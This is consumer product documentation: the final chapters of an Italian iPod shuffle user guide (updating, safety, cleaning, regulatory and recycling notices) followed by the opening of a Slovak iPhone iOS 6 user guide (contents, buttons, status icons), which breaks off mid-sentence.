Per utilizzare iPod shuffle, devi disporre di quanto segue:
• Una delle seguenti configurazioni di sistema:
• Un Macintosh con una porta USB 2.0
• Un PC Windows PC con una porta USB 2.0 o una scheda USB 2.0 installata
• Uno dei seguenti sistemi operativi: Mac OS X 10.5.8 o versione successiva, Windows Vista o
Windows XP Home o Professional con Service Pack 3 o successivo
• Accesso Internet (si consiglia una connessione a banda larga).
• iTunes 10.7 o versione successiva (puoi scaricarlo da www.itunes.com/it/download)
Se il PC Windows non è fornito di una porta USB 2.0 ad alta potenza, puoi acquistare e installare
una scheda USB 2.0.
Porta USB 2.0 ad alta potenza
Se desideri utilizzare iPod shuffle con un computer Mac e un PC Windows
Se iPod shuffle è impostato per la gestione manuale della musica, puoi aggiungere il contenuto
di una o più librerie di iTunes, indipendentemente dal sistema operativo presente sul computer.
Se iPod shuffle è impostato per la sincronizzazione automatica, quando lo colleghi a un computer o a un account utente diverso, viene visualizzato un messaggio in cui ti viene chiesto se desideri inizializzare iPod shuffle e sincronizzarlo con la nuova libreria di iTunes. Fai clic su Annulla per
mantenere invariato il contenuto di iPod shuffle.
Puoi utilizzare iPod shuffle come disco esterno sia con i computer Macintosh che con i PC;
in questo modo puoi copiare file da un sistema operativo all'altro. Consulta Capitolo 5, Archiviare
file su iPod shuffle, a pagina 22.
Aggiornare e ripristinare il software di iPod shuffle
Puoi utilizzare iTunes per eseguire l’aggiornamento o il ripristino del software di iPod shuffle.
Ti consigliamo di aggiornare iPod shuffle in modo da utilizzare il software più recente. Inoltre,
puoi ripristinare il software, riportando così iPod shuffle alle impostazioni originali.
• Se scegli di eseguire l'aggiornamento, viene aggiornato il software, ma le impostazioni, i brani
e gli altri dati non vengono modificati.
• Se scegli di ripristinare, vengono cancellati tutti i dati presenti su iPod shuffle, compresi i brani
e qualsiasi altra informazione. Tutte le impostazioni di iPod shuffle verranno ripristinate al loro
stato originale.
Per aggiornare o ripristinare iPod shuffle:
1 Assicurati di disporre di una connessione a Internet e di avere installato sul computer la versione
più recente di iTunes da www.itunes.com/it/download.
2 Collega iPod shuffle al computer.
3 In iTunes, seleziona iPod shuffle nell'elenco dei dispositivi e fai clic sul pannello Riepilogo.
In Versione puoi controllare se iPod shuffle è aggiornato o se richiede l'installazione di versione
più recente del software.Capitolo 6 Suggerimenti e risoluzione dei problemi 27
4 Esegui una delle seguenti operazioni:
• Per installare la versione più recente del software, fai clic su Aggiorna.
• Per ripristinare le impostazioni di fabbrica originali di iPod shuffle, fai clic su Ripristina. Il ripristino cancella tutti i dati presenti su iPod shuffle. Per completare la procedura di ripristino,
segui le istruzioni visualizzate sullo schermo.7
28
Questo capitolo contiene informazioni importanti sulla sicurezza e la
gestione delle informazioni di iPod shuffle.
ATTENZIONE: La mancata osservanza delle istruzioni di sicurezza qui riportate può causare
incendi, scosse elettriche, altre lesioni o danni a iPod shuffle o altri oggetti. Leggi tutte le informazioni riportate di seguito prima di utilizzare iPod shuffle.
Tieni questo Manuale Utente di iPod shuffle a portata di mano per la consultazione.
Informazioni di sicurezza importanti
Uso adeguato Non fare cadere, non smontare, aprire, schiacciare, piegare, deformare, forare,
tagliare, inserire in un forno a microonde, bruciare, dipingere o inserire oggetti estranei in
iPod shuffle.
Acqua e luoghi umidi Non utilizzare iPod shuffle sotto la pioggia, in prossimità di lavandini o
altri luoghi umidi. Fai attenzione a non versare liquidi e a non far cadere alimenti di alcun genere
su iPod shuffle. Nel caso in cui iPod shuffle si bagni, scollega tutti i cavi, spegnilo (facendo scorrere l'interruttore a tre posizioni su OFF) prima di pulirlo e lascialo asciugare completamente
prima di riaccenderlo. Non fare asciugare iPod shuffle con una fonte esterna di calore, come un
forno a microonde o un asciugacapelli.
Riparazione di iPod shuffle Non tentare in alcun caso di riparare o modificare iPod shuffle
da solo. Se iPod shuffle è stato immerso in acqua, forato o ha subito una grave caduta, non
utilizzarlo prima di averlo portato presso un fornitore di servizi Apple autorizzato. iPod shuffle
non contiene parti sostituibili dall'utente. Smontare iPod shuffle, compresa la rimozione della
custodia sul retro, potrebbe causare dei danni non coperti dalla garanzia. Per le informazioni
relative alla riparazione, seleziona Aiuto iPod dal menu Aiuto di iTunes o vai alla pagina web
www.apple.com/it/support/ipod/service. La batteria ricaricabile di iPod shuffle deve essere sostituita soltanto da un fornitore di servizi Apple autorizzato. Per ulteriori informazioni sulle batterie,
vai su www.apple.com/it/support/ipod/service/battery.
Adattatore di alimentazione USB di Apple Se utilizzi l'adattatore di alimentazione USB di Apple
(in vendita separatamente su www.apple.com/it/ipodstore) per caricare iPod shuffle, assicurati
che l'alimentatore sia montato correttamente prima di inserirlo in una presa di corrente. Quindi
inserisci l'adattatore di alimentazione USB di Apple nella presa elettrica. Non collegare o scollegare l'adattatore di alimentazione USB di Apple con le mani bagnate. Non utilizzare alimentatori
di corrente diversi dall'adattatore di alimentazione USB di Apple per caricare iPod shuffle.
L'adattatore di alimentazione USB di Apple si riscalda durante il normale utilizzo. Verifica che la
ventilazione intorno all'adattatore di alimentazione USB di Apple sia sempre adeguata e maneggialo con cura.
Sicurezza e puliziaCapitolo 7 Sicurezza e pulizia 29
Scollega l'adattatore di alimentazione USB di Apple se si verifica una delle seguenti condizioni:
• Il cavo dell'alimentatore o la spina sono consumati o danneggiati.
• L'alimentatore è stato esposto a pioggia, liquidi o umidità eccessiva.
• Il contenitore dell'alimentatore è danneggiato.
• Ritieni che l'alimentatore richieda manutenzione o riparazione.
• Desideri eseguire la pulizia dell'alimentatore.
Danni all'udito L’utilizzo di auricolari e cuffie ad alto volume può causare danni permanenti
all’udito. Evita di regolare il volume su livelli eccessivi. Sebbene col tempo potresti adattarti a un
volume più elevato senza apparenti problemi, l’udito potrebbe risultare affetto da lesioni. Se si
notano dei fischi nelle orecchie o l'ascolto risulta attutito, interrompere l'ascolto e farsi visitare
da uno specialista dell'apparato uditivo. Più alto è il volume d'ascolto e più presto l'udito
potrebbe essere danneggiato. Gli specialisti dell'apparato uditivo suggeriscono di proteggere
l'udito come segue:
• Limitare la quantità di tempo di utilizzo di auricolari e cuffie ad alto volume.
• Evitare di alzare il volume per coprire altri rumori ambientali.
• Abbassare il volume se non si riescono a sentire le persone che parlano nelle vicinanze.
Per informazioni sull'impostazione di un limite di volume su iPod shuffle, consulta Impostare un
limite di volume a pagina 21.
Sicurezza delle cuffie L'uso di auricolari (anche se in un solo auricolare) alla guida o in bicicletta
non è consigliato ed è illegale in alcune zone. Controlla e rispetta la legislazione e la normativa
vigente relativamente all'uso di auricolari e dispositivi come iPod shuffle nelle zone in cui guidi
o vai in bicicletta. Presta molta attenzione durante la guida. Smetti di utilizzare iPod shuffle se
ritieni che possa essere dannoso o che possa distrarti dalla guida di qualsiasi tipo di veicolo o
durante qualunque altra attività che richieda la tua massima attenzione.
Informazioni importanti per un corretto utilizzo
AVVISO: La mancata osservanza delle istruzioni per un corretto utilizzo qui riportate può causare danni a iPod shuffle o ad altri oggetti.
Trasporto iPod shuffle iPod shuffle contiene componenti delicati. Non piegare, non far cadere e
non esercitare una pressione eccessiva su iPod shuffle.
Utilizzare i connettori e le porte Non forzare mai un connettore in una porta. Verifica che non
siano presenti ostruzioni sulla porta. Se non puoi inserire facilmente il connettore nella porta,
probabilmente il connettore non è quello giusto. Verificare che il connettore sia adatto a quella
porta e che sia stato posizionato correttamente in relazione alla stessa.
Mantenere iPod shuffle entro temperature accettabili Utilizza iPod shuffle in luoghi dove la
temperatura è sempre compresa tra 0º and 35º C. A basse temperature, la batteria di iPod shuffle
potrebbe durare meno.
Conserva sempre iPod shuffle in luoghi dove la temperatura è compresa tra -20° e 45° C. Non
lasciare iPod shuffle in auto, poiché la temperatura di una vettura parcheggiata potrebbe superare questi valori.
Quando utilizzi iPod shuffle o ne carichi la batteria, è normale che la parte inferiore di iPod shuffle
si riscaldi. La parte esterna di iPod shuffle funziona come una superficie raffreddante che trasferisce il calore dall'interno dell'unità all'aria esterna più fredda.Capitolo 7 Sicurezza e pulizia 30
Mantenere pulito l'esterno di iPod shuffle Per pulire iPod shuffle, scollega tutti i cavi, spegnilo
(facendo scorrere l'interruttore a tre posizioni su OFF) e utilizza un panno morbido, leggermente
umido e non sfilacciato. Non inserire sostanze liquide nelle fessure. Non utilizzare prodotti specifici per vetri e specchi né altri tipi di detergenti o spray, solventi, alcol, ammoniaca o prodotti
abrasivi per la pulizia di iPod shuffle.
Smaltire iPod shuffle in modo adeguato Per informazioni sullo smaltimento di iPod shuffle e
per altre informazioni importanti sulla conformità alla normativa vigente, consulta Informazioni
sullo smaltimento e il riciclaggio a pagina 33.
Informazioni sulla conformità Per informazioni sulla conformità relative a iPod shuffle, consulta
Informazioni sulla conformità alle normative a pagina 32. 8
31
Ulteriori informazioni sull'uso di iPod shuffle sono disponibili
nell'aiuto su schermo e in linea.
La tabella che segue illustra dove trovare prodotti software e informazioni su servizi relativi
a iPod.
Per informazioni su Esegui questa operazione
Servizio e assistenza, discussioni, tutorial e
download di software Apple
Vai a: www.apple.com/it/support/ipodshuffle.
Utilizzo di iTunes Apri iTunes e scegli Aiuto > Aiuto iTunes. Per un tutorial in linea di iTunes (disponibile solo in alcuni paesi),
vai su: www.apple.com/it/itunes/tutorials
Informazioni più recenti su iPod shuffle Vai a: www.apple.com/it/ipodshuffle.
Registrare iPod shuffle Installa iTunes e collega iPod shuffle al computer.
Trovare il numero di serie di iPod shuffle Cerca sotto il clip di iPod shuffle. Oppure in iTunes
(con iPod shuffle collegato al computer), seleziona
iPod shuffle nell'elenco dei dispositivi, quindi fai clic
sul pannello Riepilogo.
Ottenere l'assistenza in garanzia In primo luogo, segui i consigli contenuti in
questo opuscolo, nell’aiuto su schermo e nelle
risorse in linea e quindi consulta il sito web:
www.apple.com/it/support/ipodshuffle/service.
Altre informazioni, servizi e
supportoDichiarazione di conformità FCC
Questo dispositivo è conforme alla parte 15 delle
regole FCC. Il funzionamento è soggetto alle seguenti
due condizioni: (1) Il presente dispositivo non può
causare interferenze dannose, e (2) lo stesso dispositivo
deve accettare qualsiasi interferenza ricevuta, incluse
le interferenze che potrebbero determinarne un
funzionamento inaspettato. Se si sospetta che la ricezione
radio o televisiva sia compromessa da interferenze, vedere
le istruzioni.
Interferenze radio e televisive
Questa apparecchiatura genera, utilizza e può emanare
energia a radiofrequenze. Se tale apparecchiatura
non viene installata e utilizzata correttamente, vale a
dire in conformità con le istruzioni Apple, può causare
interferenze con la ricezione radio e televisiva.
L’apparecchiatura è stata testata ed è risultata
conforme alle limitazioni dei dispositivi digitali di
Classe B in conformità alle specifiche della Parte 15
delle regole FCC. Queste specifiche sono state create
per fornire una protezione efficiente contro tali
interferenze in un’installazione residenziale. Tuttavia,
non vi è garanzia di protezione contro le interferenze in
un’installazione particolare.
Per determinare se il sistema informatico causi
interferenze, spegnere il computer. Se le interferenze
non si verificano più, significa che probabilmente erano
causate dal computer o da una delle periferiche.
Se il computer causa interferenze con la ricezione radio
o televisiva, provare a eliminarle eseguendo una delle
seguenti azioni:
• Accendere l’antenna radio o televisiva finché
l’interferenza si arresta.
• Spostare il computer da una parte o dall’altra del
televisore o della radio.
• Allontanare il computer dal televisore o dalla radio.
• Collegare il computer a una presa che si trova su un
circuito differente da quello del televisore o della radio.
In altre parole, accertarsi che il computer e il televisore
o la radio si trovino su circuiti controllati da interruttori
o valvole differenti.
Se necessario, consultare un fornitore di servizi autorizzato
Apple o Apple stessa. Consultare le informazioni
sull’assistenza e il supporto fornite con il prodotto Apple.
Oppure consultare un tecnico radiotelevisivo esperto per
ulteriori suggerimenti.
Importante: Modifiche o cambiamenti a questo prodotto
non autorizzate da Apple Inc., potrebbero invalidare la
conformità agli standard EMC e non consentire l’utilizzo
del prodotto.
Questa apparecchiatura è stata testata in conformità con
gli standard EMC secondo le condizioni che richiedono
l’utilizzo delle periferiche Apple, i cavi schermati Apple e
connettori tra i componenti del sistema.
È importante utilizzare periferiche e cavi e connettori
schermati Apple tra i componenti di sistema per ridurre
la possibilità di causare interferenze con radio, televisori
e altri dispositivi elettronici. Le periferiche e i cavi e i
connettori schermati Apple sono disponibili presso
i rivenditori Apple autorizzati. Per le periferiche non
Apple, contattare il relativo distributore o il rivenditore
per assistenza.
Parte responsabile (contattare solo per questioni che
riguardano la Conformità FCC):
Apple Inc. Corporate Compliance
1 Infinite Loop, MS 91-1EMC
Cupertino, CA 95014
Dichiarazione di conformità di Industry Canada
Questo dispositivo di classe B soddisfa tutti i requisiti
delle normative canadesi sulle apparecchiature che
causano interferenze.
Cet appareil numérique de la classe B respecte toutes
les exigences du Règlement sur le matériel brouilleur
du Canada.
Dichiarazione di conformità VCCI Classe B
Dichiarazione di conformità Class B della Corea
Comunità europea
Questo dispositivo è conforme alle direttive europee LVD
e EMC.
Sostituzione della batteria
La batteria ricaricabile di iPod shuffle deve essere
sostituita soltanto da un fornitore di servizi autorizzato.
Per i servizi di sostituzione della batteria, vai su:
www.apple.com/it/batteries/replacements.html
Informazioni sulla conformità alle normative
32Informazioni sullo smaltimento e il riciclaggio
iPod dev'essere smaltito conformemente alla legislazione
e alle normative locali. Questo prodotto contiene una
batteria, pertanto deve essere smaltito separatamente
dai rifiuti domestici. Quando iPod raggiunge la fine del
proprio ciclo di vita utile, contatta Apple o le autorità locali
per informazioni sulle opzioni di riciclaggio.
Per informazioni sul programma di riciclaggio di Apple,
vai su: www.apple.com/it/recycling
China:
Taiwan:
Efficienza del caricabatteria
European Union—Disposal Information:
The symbol above means that according to local laws
and regulations your product and/or its battery shall be
disposed of separately from household waste. When this
product reaches its end of life, take it to a collection point
designated by local authorities. The separate collection
and recycling of your product and/or its battery at the
time of disposal will help conserve natural resources and
ensure that it is recycled in a manner that protects human
health and the environment.
Union Européenne—informations sur l’élimination Le
symbole ci-dessus signifie que, conformément aux lois et
réglementations locales, vous devez jeter votre produit
et/ou sa batterie séparément des ordures ménagères.
Lorsque ce produit arrive en fin de vie, apportez-le à un
point de collecte désigné par les autorités locales. La
collecte séparée et le recyclage de votre produit et/ou de
sa batterie lors de sa mise au rebut aideront à préserver
les ressources naturelles et à s’assurer qu’il est recyclé de
manière à protéger la santé humaine et l’environnement.
Europäische Union—Informationen zur Entsorgung Das
oben aufgeführte Symbol weist darauf hin, dass dieses
Produkt und/oder die damit verwendete Batterie den
geltenden gesetzlichen Vorschriften entsprechend und
vom Hausmüll getrennt entsorgt werden muss. Geben
Sie dieses Produkt zur Entsorgung bei einer offiziellen
Sammelstelle ab. Durch getrenntes Sammeln und
Recycling werden die Rohstoffreserven geschont und es
ist sichergestellt, dass beim Recycling des Produkts und/
oder der Batterie alle Bestimmungen zum Schutz von
Gesundheit und Umwelt eingehalten werden.
Unione Europea—informazioni per lo smaltimento Il
simbolo qui sopra significa che, in base alle leggi e alle
normative locali, il prodotto e/o la sua batteria dovrebbero
essere riciclati separatamente dai rifiuti domestici. Quando
il prodotto diventa inutilizzabile, portalo nel punto di
raccolta stabilito dalle autorità locali. La raccolta separata
e il riciclaggio del prodotto e/o della sua batteria al
momento dello smaltimento aiutano a conservare le
risorse naturali e assicurano che il riciclaggio avvenga nel
rispetto della salute umana e dell’ambiente.
Europeiska unionen—Information om kassering
Symbolen ovan betyder att produkten och/eller dess
batteri enligt lokala lagar och bestämmelser inte får kastas
tillsammans med hushållsavfallet. När produkten
har tjänat ut måste den tas till en återvinningsstation
som utsetts av lokala myndigheter. Genom att låta den
uttjänta produkten och/eller dess batteri tas om hand
för återvinning hjälper du till att spara naturresurser och
skydda hälsa och miljö.
Türkiye
Türkiye Cumhuriyeti: EEE Yönetmeliğine Uygundur
Brasil—Informações sobre descarte e reciclagem
O símbolo indica que este produto e/ou sua bateria
não devem ser descartadas no lixo doméstico. Quando
decidir descartar este produto e/ou sua bateria, faça-o
de acordo com as leis e diretrizes ambientais locais.
Para informações sobre o programa de reciclagem da
Apple, pontos de coleta e telefone de informações, visite
www.apple.com/br/environment.
Apple e l'ambiente
Apple si impegna costantemente per ridurre l'impatto
ambientale delle proprie attività e dei propri prodotti.
Per ulteriori informazioni, consulta:
www.apple.com/it/environment
33KApple Inc.
© 2012 Apple Inc. Tutti i diritti riservati.
Apple, il logo Apple, Finder, iPod, iPod shuffle, iTunes, Mac,
Macintosh, Mac OS X e OS X sono marchi di Apple Inc.,
registrati negli Stati Uniti e in altri paesi.
Apple Store, Genius, iTunes Plus e iTunes Store sono marchi di
servizio di Apple Inc., registrati negli Stati Uniti e in altri paesi.
I nomi di altre società e prodotti qui menzionati potrebbero
essere marchi delle rispettive società.
La citazione di prodotti di terze parti è a solo scopo informativo e non costituisce alcun impegno o raccomandazione.
Apple declina ogni responsabilità riguardo l’uso e le prestazioni di questi prodotti. Qualsiasi intesa, accordo o garanzia,
se presente, prende parte direttamente fra il venditore e
l’eventuale utente.
Apple si è impegnata perché le informazioni contenute in
questo manuale fossero il più possibile precise. Apple declina
ogni responsabilità per eventuali errori di stampa.
T019-2359/09-2012
iPhone
Príručka užívateľa
Pre softvér iOS 6Obsah
7 Kapitola 1: iPhone v skratke
7 iPhone 5 – celkový prehľad
7 Príslušenstvo
8 Tlačidlá
10 Stavové ikony
13 Kapitola 2: Začíname
13 Čo budete potrebovať
13 Inštalácia SIM karty
14 Nastavenie a aktivácia iPhonu
14 Pripájanie iPhonu k počítaču
15 Pripájanie na internet
15 Nastavenie emailových a ďalších účtov
15 Apple ID
15 Spravovanie obsahu na vašich iOS zariadeniach
16 iCloud
17 Synchronizácia s iTunes
18 Prezeranie príručky užívateľa na iPhone
19 Kapitola 3: Základy
19 Používanie aplikácií
22 Prispôsobenie iPhonu
24 Písanie
27 Diktovanie
28 Ovládanie hlasom
29 Vyhľadávanie
30 Hlásenia
31 Zdieľanie
32 Pripájanie iPhonu k televízoru alebo inému zariadeniu
33 Tlač pomocou funkcie AirPrint
34 Apple náhlavná sada
35 Bluetooth zariadenia
36 Zdieľanie súborov
36 Bezpečnostné funkcie
37 Batéria
39 Kapitola 4: Siri
39 Čo je Siri?
40 Používanie Siri
43 Reštaurácie
44 Filmy
44 Šport
244 Diktovanie
45 Korekcia Siri
46 Kapitola 5: Telefón
46 Telefonické hovory
50 FaceTime
50 Visual Voicemail (vizuálna odkazová schránka)
52 Kontakty
52 Presmerovanie hovorov, Čakanie hovorov a Zobraziť moje číslo
52 Zvonenia, prepínač Zvoniť/Ticho a vibrovanie
52 Medzinárodné hovory
53 Nastavovanie možností telefónu
54 Kapitola 6: Mail
54 Čítanie emailov
55 Odosielanie emailových správ
56 Triedenie emailových správ
56 Tlačenie správ a príloh
57 Emailové účty a nastavenia
58 Kapitola 7: Safari
61 Kapitola 8: Hudba
61 Získavanie hudby
61 Prehrávanie hudby
63 Cover Flow
63 Podcasty a audioknihy
64 Playlisty
64 Genius
65 Siri a Ovládanie hlasom
65 iTunes Match
66 Domáce zdieľanie
66 Nastavenia aplikácie Hudba
68 Kapitola 9: Správy
68 Odosielanie a prijímanie správ
69 Spravovanie konverzácií
69 Zdieľanie fotografií, videí a ďalších informácií
70 Nastavenia aplikácie Správy
71 Kapitola 10: Kalendár
71 V skratke
72 Práca s viacerými kalendármi
73 Zdieľanie iCloud kalendárov
73 Nastavenia aplikácie Kalendár
74 Kapitola 11: Fotky
74 Prezeranie fotografií a videí
75 Usporadúvanie fotografií a videí
75 Fotostream
76 Zdieľanie fotografií a videí
77 Tlačenie fotografií
Obsah 378 Kapitola 12: Kamera
78 V skratke
79 HDR fotografie
79 Prezeranie, zdieľanie a tlač
80 Úprava fotografií a strihanie videa
81 Kapitola 13: Videá
83 Kapitola 14: Mapy
83 Vyhľadávanie lokalít
84 Stanovenie trás
85 3D a Flyover
85 Nastavenia aplikácie Mapy
86 Kapitola 15: Počasie
88 Kapitola 16: Passbook
90 Kapitola 17: Poznámky
92 Kapitola 18: Pripomienky
94 Kapitola 19: Hodiny
95 Kapitola 20: Akcie
97 Kapitola 21: Kiosk
98 Kapitola 22: iTunes Store
98 V skratke
99 Úprava rozloženia tlačidiel na prácu s médiami
100 Kapitola 23: App Store
100 V skratke
101 Vymazávanie aplikácií
102 Kapitola 24: Game Center
102 V skratke
103 Hranie s priateľmi
103 Nastavenia Game Center
104 Kapitola 25: Kontakty
104 V skratke
105 Pridávanie kontaktov
106 Nastavenia aplikácie Kontakty
107 Kapitola 26: Kalkulačka
108 Kapitola 27: Kompas
109 Kapitola 28: Diktafón
109 V skratke
110 Zdieľanie nahrávok s vaším počítačom
Obsah 4111 Kapitola 29: Nike + iPod
113 Kapitola 30: iBooks
113 V skratke
114 Čítanie kníh
115 Usporiadanie knižnice
115 Synchronizácia kníh a PDF dokumentov
116 Tlačenie a odosielanie PDF dokumentov emailom
116 Nastavenia iBooks
117 Kapitola 31: Podcasty
119 Kapitola 32: Prístupnosť
119 Funkcie Prístupnosť
119 VoiceOver
129 Presmerovanie zvuku prichádzajúcich hovorov
129 Siri
129 Trojité stlačenie tlačidla Domov
130 Zväčšovanie
130 Veľký text
130 Prevrátenie farieb
130 Rozprávať výber
131 Funkcia Rozprávať autotext
131 Mono zvuk
131 Načúvacie prístroje
132 Priraditeľné zvonenia a vibrácie
132 Upozorňovanie bleskom
132 Asistovaný prístup
133 AssistiveTouch
134 Prístupnosť v OS X
134 Podpora ďalekopisu - TTY
134 Minimálna veľkosť písma emailových správ
134 Priraditeľné zvonenia
134 Visual Voicemail (vizuálna odkazová schránka)
135 Klávesnica orientovaná na šírku
135 Veľká klávesnica telefónu
135 Ovládanie hlasom
135 Skryté titulky
136 Kapitola 33: Nastavenia
136 Režim lietadlo
136 Wi-Fi
137 Bluetooth
137 VPN
138 Zdieľanie internetu
138 Funkcia Nerušiť a hlásenia
139 Operátor
140 Všeobecné
145 Zvuky
146 Jas a pozadie
146 Súkromie
Obsah 5148 Príloha A: iPhone ako pracovný nástroj
148 Používanie konfiguračných profilov
148 Nastavenie Microsoft Exchange účtov
149 VPN prístup
149 LDAP a CardDAV účty
150 Príloha B: Medzinárodné klávesnice
150 Používanie medzinárodných klávesníc
151 Špeciálne spôsoby zadávania
153 Príloha C: Bezpečnosť, zaobchádzanie a podpora
153 Dôležité informácie týkajúce sa bezpečnosti
155 Dôležité informácie týkajúce sa zaobchádzania
156 Webová stránka podpory pre iPhone
156 Reštartovanie alebo resetovanie iPhonu
157 Zobrazí sa nápis „Nesprávne heslo“ alebo „iPhone je zablokovaný“
157 Zobrazí sa nápis „Toto príslušenstvo nie je podporované iPhonom“
157 Nezobrazujú sa prílohy emailových správ
157 Zálohovanie iPhonu
159 Aktualizácia a obnova softvéru na zariadení iPhone
160 Informácie o softvéri a servise
161 Používanie zariadenia iPhone vo firemnom prostredí
161 Používanie zariadenia iPhone v sieťach iných operátorov
161 Informácie o likvidácii a recyklácii
162 Apple a životné prostredie
Obsah 61
7
iPhone 5 – celkový prehľad
Poznámka: Aplikácie a funkcie iPhonu sa môžu líšiť v závislosti od vášho regiónu, jazyka,
operátora a modelu iPhonu. Aplikácie, ktoré odosielajú alebo prijímajú dáta cez mobilnú
sieť môžu spôsobiť ďalšie poplatky za dátové prenosy. Informácie o volacích programoch
a poplatkoch týkajúcich sa iPhonu získate u svojho operátora.
Príslušenstvo
iPhone sa dodáva s nasledujúcim príslušenstvom:
Náhlavná sada Apple: Použite Apple EarPods s ovládačom a mikrofónom (iPhone 5, na
obrázku vyššie) alebo Apple slúchadlá s ovládačom a mikrofónom (iPhone 4S alebo staršie
modely) na počúvanie hudby, zvukovej stopy videí a na telefonovanie. Viac v časti Apple
náhlavná sada na strane 34.
iPhone v skratkeKapitola 1 iPhone v skratke 8
Prepojovací kábel: Použite kábel Lightning na USB (iPhone 5, na obrázku vyššie) alebo kábel
Dock connector – USB (iPhone 4S alebo staršie modely) na pripojenie iPhonu k počítaču
kvôli synchronizácii a nabíjaniu. Kábel je takisto možné používať so zariadením iPhone Dock
(predáva sa samostatne).
Napájací USB adaptér: Používajte ho s káblom Lightning na USB alebo Dock konektor – USB
na nabíjanie batérie iPhonu.
Nástroj na vysúvanie SIM karty: Použite nástroj na vysunutie SIM karty. (Nie je súčasťou
balenia vo všetkých oblastiach.)
Tlačidlá
Tlačidlo Spať/Zobudiť
Ak práve iPhone nepoužívate, môžete ho zamknúť, vypnúť jeho displej a šetriť tak batériu.
Zamknutie iPhonu: Stlačte tlačidlo Spať/Zobudiť.
Keď je iPhone zamknutý, nereaguje na dotyk obrazovky. iPhone môže aj naďalej prijímať
hovory, textové správy a iné aktualizácie. Môžete tiež:
• Počúvať hudbu
• Nastaviť hlasitosť
• Prijímať hovory a počúvať hudbu za pomoci stredného tlačidla na náhlavnej sade
Tlačidlo
Spať/Zobudiť
Tlačidlo
Spať/Zobudiť
Odomknutie iPhonu: Stlačte tlačidlo Spať/Zobudiť alebo tlačidlo Domov
a potiahnite prepínač.
Vypnutie iPhonu: Stlačte a podržte tlačidlo Spať/Zobudiť na niekoľko sekúnd, až kým sa
nezobrazí červený prepínač, ktorý následne potiahnite prstom.
Zapnutie iPhonu: Stlačte a podržte tlačidlo Spať/Zobudiť, až kým sa nezobrazí logo
spoločnosti Apple.
Otvorenie aplikácie Kamera, keď je iPhone zamknutý: Stlačte tlačidlo Spať/Zobudiť alebo
tlačidlo Domov a potom potiahnite nahor.
Prístup k ovládacím prvkom zvuku, keď je iPhone zamknutý: Stlačte tlačidlo Domov
dvakrát .
Ak sa približne minútu nedotknete obrazovky, iPhone sa uzamkne. Môžete nastaviť
časový interval automatického uzamknutia (alebo vypnutia) iPhonu, ako aj zadanie hesla
pred odomknutím.Kapitola 1 iPhone v skratke 9
Úprava časového intervalu automatického uzamknutia alebo vypnutia: Viac v časti
Uzamykanie na strane 142.
Vyžadovanie hesla na odomknutie iPhonu: Viac v časti Uzamykanie heslom na strane 143.
Tlačidlo Domov
Tlačidlo Domov vás prenesie na plochu bez ohľadu na to, čo práve robíte. Pomocou tlačidla
Domov môžete taktiež rýchlo vykonávať niektoré funkcie.
Prechod na plochu: Stlačte tlačidlo Domov .
Na ploche otvorte aplikáciu klepnutím. Viac v časti Otváranie a prepínanie medzi
aplikáciami na strane 19.
Zobrazenie nedávno používaných aplikácií: Stlačte tlačidlo Domov dvakrát (iPhone musí
byť odomknutý). V spodnej časti obrazovky sa zobrazí panel multitaskingu, ktorý zobrazuje
najčastejšie používané aplikácie. Ak chcete zobraziť viac aplikácií, potiahnite panel doľava.
Zobrazenie ovládania prehrávania zvuku:
• Keď je iPhone zamknutý: Stlačte tlačidlo Domov dvakrát . Viac v časti Prehrávanie hudby na
strane 61.
• Počas používania inej aplikácie: Stlačte tlačidlo Domov dvakrát a potom potiahnite panel
multitaskingu smerom zľava doprava.
Používanie funkcie Siri (iPhone 4S alebo novšie modely) alebo ovládania hlasom: Stlačte
a podržte tlačidlo Domov . Viac v časti kapitola 4, Siri, na strane 39 a Ovládanie hlasom na
strane 28.
Ovládanie hlasitosti
Ak práve telefonujete, počúvate hudbu, alebo pozeráte film či iné médiá, tlačidlá na bočnej
strane iPhonu menia úroveň hlasitosti. Tieto tlačidlá tiež slúžia na nastavenie hlasitosti
zvonenia, pripomienok a ďalších zvukových efektov.
UPOZORNENIE: Dôležité informácie týkajúce sa prevencie pred poškodením sluchu nájdete v
časti Dôležité informácie týkajúce sa bezpečnosti na strane 153.
Zvýšiť
hlasitosť
Zvýšiť
hlasitosť
Znížiť
hlasitosť
Znížiť
hlasitosť
Uzamknutie hlasitosti vyzváňania a upozornení: Prejdite do Nastavenia > Zvuky a vypnite
možnosť Upravovať tlačidlami.
Obmedzenie hlasitosti hudby a videa: Prejdite do Nastavenia > Hudba >
Obmedzenie hlasitosti.
Poznámka: V niektorých krajinách vás môže iPhone upozorniť, ak nastavenie hlasitosti
presiahne úroveň hlasitosti odporúčanú bezpečnostnými smernicami EÚ. Na zvýšenie hlasitosti
nad túto úroveň bude zrejme potrebné na okamih uvoľniť tlačidlo ovládania hlasitosti.
Ľubovoľné z tlačidiel na ovládanie hlasitosti môžete použiť aj na fotografovanie a natáčanie
videí. Viac v časti kapitola 12, Kamera, na strane 78.Kapitola 1 iPhone v skratke 10
Prepínač Zvoniť/Ticho
Pomocou prepínača Zvoniť/Ticho prepínate na iPhone medzi hlasným režimom a tichým
režimom .
Ak je nastavený hlasný režim, iPhone prehráva všetky zvuky. Ak je nastavený tichý režim,
iPhone nezvoní, neprehráva pripomienky ani ďalšie zvukové efekty.
Dôležité: Budíky, aplikácie určené na prehrávanie zvuku ako napríklad Hudba a množstvo hier,
budú aj naďalej prehrávať zvuky prostredníctvom vstavaného reproduktora, aj keď je iPhone
v tichom režime. V niektorých oblastiach budú zvukové efekty aplikácií Kamera a Diktafón
prehrávané aj keď je prepínač Zvoniť/Ticho v polohe Ticho.
Viac informácií o nastavení zvukov a vibrovaní nájdete v časti Zvuky na strane 145.
Na stíšenie hovorov, upozornení a hlásení môžete použiť aj funkciu Nerušiť.
Nastavenie funkcie Nerušiť ( ) na iPhone: Prejdite do Nastavení a zapnite funkciu Nerušiť.
Ak je zapnutá funkcia Nerušiť a obrazovka je zamknutá, nebudú hovory, upozornenia a
hlásenia vydávať žiadne zvuky a obrazovka zariadenia sa zároveň nebude zapínať. Budíky budú
naďalej prehrávané. Ak je obrazovka zariadenia odomknutá, nemá na iPhone funkcia Nerušiť
žiaden vplyv.
Ak si chcete naplánovať hodiny počas ktorých nechcete byť rušení, povoliť telefonáty od
vybraných osôb alebo povoliť zvonenie opakovaných hovorov, prejdite do Nastavenia >
Hlásenia > Nerušiť. Viac v časti Funkcia Nerušiť a hlásenia na strane 138.
Stavové ikony
Ikony v stavovom riadku vo vrchnej časti obrazovky informujú o stave vášho iPhonu:
Stavová ikona Význam
Signál mobilnej siete* Indikuje, či ste v dosahu mobilnej siete a či môžete
